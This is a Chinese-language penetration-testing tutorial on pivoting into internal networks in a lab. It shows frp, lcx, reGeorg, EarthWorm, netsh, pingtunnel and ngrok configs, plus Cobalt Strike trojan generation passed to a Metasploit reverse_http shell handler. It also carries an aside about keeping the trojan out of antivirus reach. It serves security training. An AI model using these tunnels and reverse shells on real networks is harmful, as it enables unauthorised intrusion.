内网渗透-隧道代理转发

前言

本文章介绍内网渗透中本人常用的一些隧道代理转发工具。

环境搭建

内网渗透-隧道代理转发
环境配置坑点:记得把内网网卡的这个√取消掉,否则直接不同网段也能直接访问到内网...
内网渗透-隧道代理转发

win10_hacker: 192.168.29.139 kali_hacker: 192.168.29.128 windows(目标服务器): (192.168.29.130、10.0.0.3) winserver2003: 10.0.0.112 

注:双网卡的系统没有固定用哪个,我这里使用windows,是因为我找了好几个靶机最后手头上只有win10能运行,这里也可以使用linux作为被控制机器,没有所谓,注意frp要使用对应系统的版本即可。

工具清单

可转发工具,这些是进行内网流量转出的工具

Frp Lcx reGeorg ew(EarthWorm) netsh pingtunnel ngrok cs 

可代理工具,这些是本地进行流量转换的工具

Proxifier(windows) SocksCap(windows) cs(windows) Proxychains(linux)#本文不做介绍 

工具使用

注明:以下工具仅简单介绍使用方法。

Frp

项目地址:https://github.com/fatedier/frp/

服务端:kali_hacker (192.168.29.128) 客户端:windows(目标服务器): (192.168.29.130、10.0.0.3) 

将客户端内网中10.0.0.112:80的流量转到服务端的6000端口中。

命令执行

kali_hacker

vim frps.toml #自行修改端口号,不要与本机的端口号冲突即可 #运行命令 ./frps -c frps.toml 

windows

#frpc.toml配置文件说明 serverAddr:服务端地址 serverPort:服务端配置文件中bind绑定的端口 localIP:直接指定内网中你要转的的ip即可 localPort:将localIP的哪个端口号流量转出来 remotePort:将流量转进服务端的哪个端口号 type:是表示你要进行什么类型的流量转发,一般是tcp和http(后面介绍http) customDomains:表示当内网信息转过来的时候你希望以什么域名访问,这里需要你修改hosts文件,将ip和域名进行绑定。 #运行命令 .frpc.exe -c frpc.toml 

下面是常用的配置,配置了http、tcp(rdp,ssh)

serverAddr = "192.168.29.128" serverPort = 7000  [[proxies]] name = "web" type = "http" localIP = "10.0.0.112" localPort = 80 customDomains = ["www.hacker.com"]  [[proxies]] name = "rdp" type = "tcp" localIP = "10.0.0.112" localPort = 3389 remotePort = 6000  [[proxies]] name = "ssh" type = "tcp" localIP = "10.0.0.112" localPort = 22 remotePort = 6000 

实验

服务端运行
修改hosts文件:对应客户端设置的域名和ip
(ip就是这台kali机器所以可以写127.0.0.1)
内网渗透-隧道代理转发
内网渗透-隧道代理转发

客户端运行
内网渗透-隧道代理转发

服务端访问内网
内网渗透-隧道代理转发
同理6000端口是内网机器10.0.0.112的3389转进来的流量
内网渗透-隧道代理转发

Lcx

项目地址:
https://github.com/Brucetg/Pentest-tools/tree/master/%E7%AB%AF%E5%8F%A3%E8%BD%AC%E5%8F%91

windows_hacker:(192.168.29.139) windows(目标服务器): (192.168.29.130、10.0.0.3) 

将windows内网中的10.0.0.112:3389流量转到windows_hacker的2222端口上,然后windows_hacker本地将2222端口转到4444端口上。

命令执行

windows_hacker

.lcx.exe -listen 2222 4444 

windows

.lcx.exe -slave 192.168.29.139 2222 10.0.0.112 3389 

实验

windows_hacker运行
内网渗透-隧道代理转发
被控的windows主机运行
内网渗透-隧道代理转发
windows_hacker远程桌面内网机器
内网渗透-隧道代理转发
内网渗透-隧道代理转发

reGeorg

项目地址:
https://github.com/sensepost/reGeorg

windows_hacker:(192.168.29.139) windows (目标服务器):(192.168.29.130、10.0.0.3) 

用脚本帮你将目标机器windows 上的内网信息通过socks隧道转到windows_hacker的9999端口上来。

命令执行

windows

将对应站点开发语言的脚本传到目标服务器上,能访问成功即可 (php开发的就传php的脚本,即:tunnel.nosocket.php) 

windows_hacker

需要用python2 python2 reGeorgSocksProxy.py -p 9999 -u http://192.168.29.130/tunnel.nosocket.php 

实验

将文件上传到目标服务器后,在hacker机器上能访问成功即可
内网渗透-隧道代理转发
使用python2环境运行脚本
内网渗透-隧道代理转发

Proxifier

现在就已经是成功转出来了,只不过需要对转出来的socks流量做一个转换,转换为本机可用的,因为我们知道内网有一个网站,需要转成http流量进行访问。
使用Proxifier进行一个本地流量转换
1.添加代理服务器
内网渗透-隧道代理转发
2.添加代理规则
内网渗透-隧道代理转发
内网渗透-隧道代理转发
内网渗透-隧道代理转发
3.localhost选择你之前配置好的代理服务器 127.0.0.1:9999
内网渗透-隧道代理转发
接着拿出你的浏览器访问内网ip即可了,这样就相当于将内网流量彻底转到你的机器上面来,而不是说单独哪一个端口转出来,这里随心所欲逛内网了,bp抓包都没问题。
4.访问成功
内网渗透-隧道代理转发

ew(EarthWorm)

项目地址:该工具已下架,很遗憾,接下来就来怀念一下这个工具吧。
(这款工具杀软基本过不了,规则已公开)

windows_hacker:(192.168.29.139) windows(目标服务器):(192.168.29.130、10.0.0.3) 

正向代理

命令执行

windows_hacker: 用proxifier正向连接ip:端口 windows:ew.exe -s ssocksd -l 1080 

实验

目标服务器windows
注意1080是转出的端口,后面正向连接要用这个端口
内网渗透-隧道代理转发
windows_hacker:配置好目标ip+端口就能访问了,这款工具很迅速
内网渗透-隧道代理转发

反向代理

命令执行

windows(目标服务器): ew.exe -s rssocks -d 192.168.29.139 -e 888  windows_hacker: ew.exe -s rcsocks -l 1080 -e 888 

意思是将目标服务器的内网环境通过888端口转出到hacker的888,然后hacker将888转到1080端口

实验

hacker机器先进行监听,否则目标服务器那边会因流量转不出执行出错
内网渗透-隧道代理转发
接着目标服务器执行

内网渗透-隧道代理转发
就能看到hacker这边有反应显示成功了
内网渗透-隧道代理转发

SocksCap

上面用了很多proxifier,那这里就用一下SocksCap
1.点击代理,右键新增代理
内网渗透-隧道代理转发
内网渗透-隧道代理转发
2.导入程序的方式,自己选一个接受流量的程序,我们这里是为了访问内网的web服务就选择浏览器访问即可。
内网渗透-隧道代理转发
3.导入后就能打开访问内网网址了
内网渗透-隧道代理转发

netsh

建议在目标服务器上做本地端口转发接口,个人觉得本地端口转发效果最佳。

命令执行

目标服务器:将内网的10.0.0.112:80转到本地的880,最好用该机器对外的ip地址。

netsh interface portproxy add v4tov4 listenaddress=192.168.29.130 listenport=880 connectaddress=10.0.0.112 connectport=80 

内网渗透-隧道代理转发

pingtunnel

这里因为windows作为目标路由服务器转发内网流量的实验失败,所以改用linux。
(有成功的师傅可以留言给我看下是什么问题,学习学习~)
内网渗透-隧道代理转发

命令执行

这里尝试转发内网的3389端口流量出来即可,其他端口类似,这里不管是服务端还是客户端,在哪个系统运行都是一样的参数,只不过我这里服务端在windows上运行接收不到客户端发来的请求,依赖也安装了具体原因没找到,还是失败,所以只能用linux来做服务端。
(有师傅成功了可以留言告知一声~)
server

./pingtunnel -type server 

client

socks类型: pingtunnel.exe -type client -l :4455 -s www.yourserver.com -sock5 1 tcp类型: pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1 udp类型: pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 

这里解释一下客户端命令的格式:

  • -type:代表是客户端类型运行的
  • -l
    :前面省略了客户端的ip则表示本地ip,表示本地回环地址,然后:后面接端口号,需要使用127.0.0.1进行连接,而如果你指定客户端的ip就需要用本机ip来进行连接
    (这里应该是还可以转发到其他ip上进行进一步利用的,这里没有尝试,有师傅尝试成功可以评论区留言教一下我。)
  • -s
    代表服务端的域名或者ip
  • -t
    代表服务端内网某一个机器的ip与要转发出来的端口号流量

实验

实验这里转tcp流量出来,如果你要转socks的话记得配合其它工具进行转换,比如linux用proxychains,windows用proxifier或其他等等工具,具体情况具体分析。
服务端
内网渗透-隧道代理转发

客户端
内网渗透-隧道代理转发

成功转出内网server2003的3389流量
内网渗透-隧道代理转发

ngrok

这个ngrok是解决局域网的流量无法像公网那样能访问,但是这个内网机器需要本身能够出网的才行,相当于你在家里面的局域网流量不是每一个人都能访问得到,假如你搭建了一台机器但是想让其他地区人也能访问到不用买公网ip,这样的话ngrok是不错的选择。
在内网渗透中用来解决内网机器流量无法直接访问这类问题也是一种手段。

这里随便找一台机器即可,这个机器需能访问外网,但外网无法直接访问他 windows: 192.168.29.130 

命令执行&&实验

1.先去官网注册一个账号:
https://dashboard.ngrok.com/
2.登录进去后,接着进入后下载对应系统版本的ngrok到目标机器上
3.把ngrok程序运行起来,如下图所示
内网渗透-隧道代理转发
运行图片
内网渗透-隧道代理转发
我这里将80端口映射出来
内网渗透-隧道代理转发
如果没有看到绿色建立成功的话,运行这条命令:ngrok http 80。因为可能你不是第一次弄,就需要这条命令,成功后你会看到如下图所示的映射网址,直接访问这个就行。
内网渗透-隧道代理转发
访问网址后可能会是下图这个样子
内网渗透-隧道代理转发
你点击visit后就看到你映射出来的站点了,或者你映射的是其他流量就用其他方式直接链接这个地址即可。
下图可以看到我访问成功了内网中搭建的网站
内网渗透-隧道代理转发

ps:本人尝试将3389端口流量映射出来当远程链接,发现失败了,具体原因没找到,但测试后发现貌似只有将http这种网站映射出来效果最佳,所以要希望映射其他流量的话还是找其他工具进行实现最好。

cs

这里很简单,就是把木马丢到目标服务器上将shell转过来即可,进行内网渗透最好还是在cs上线后将权限转到msf上进行后渗透操作效果最佳。

命令执行

提前说明:服务端选择linux,客户端选择windows,你也可以自行选择不同搭配,服务端和客户端都有提供两种选择,我个人比较常用这种搭配。
服务端

安装jdk,建议安装jdk8(安装方法自行百度)  ./teamserver 服务端ip 连接密码 

客户端

安装jdk,建议安装jdk8(安装方法自行百度) ./cs.bat 

ps: teamserver也有提供windows的teamserver.bat运行,同样cs也有提供cs.sh运行。

实验

服务端
内网渗透-隧道代理转发
客户端
windows双击cs.bat文件即可
内网渗透-隧道代理转发


1.接着客户端这边生成木马
首先创建监听器
内网渗透-隧道代理转发
如果没有其他代理需求就按照下面配置即可(更多用法自行去百度)
内网渗透-隧道代理转发

选择生成木马后门
内网渗透-隧道代理转发
内网渗透-隧道代理转发
将木马保存在一个免杀目录中,不要被杀软杀掉即可
2.将木马上传在目标服务器上执行即可,这里做实验就直接放虚拟机双击了
内网渗透-隧道代理转发
回到客户端看cs就发现有主机上线了,甚至能看到他的两张网卡,内外网ip
内网渗透-隧道代理转发
3.这里最好是和msf联动进行内网渗透效果最佳,所以这里我选择让cs增加一个会话转到msf中
先运行msfconsole开启msf,并创建监听器

use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost (msf监听的ip)192.168.29.128 set lport (msf监听的端口)4444 

内网渗透-隧道代理转发

4.接着添加监听器
内网渗透-隧道代理转发
内网渗透-隧道代理转发
5.右键增加会话
内网渗透-隧道代理转发
接着选择刚刚添加的msf监听器即可
内网渗透-隧道代理转发msf已经拿到shell了,后续就是看你玩msf玩的溜不溜就完事了。
内网渗透-隧道代理转发


本文介绍内网搭建隧道代理的一些工具,拿到内网环境后就可以进行后渗透工作了
(当然要遵守网络安全法,在授权范围下进行)

发表评论

相关文章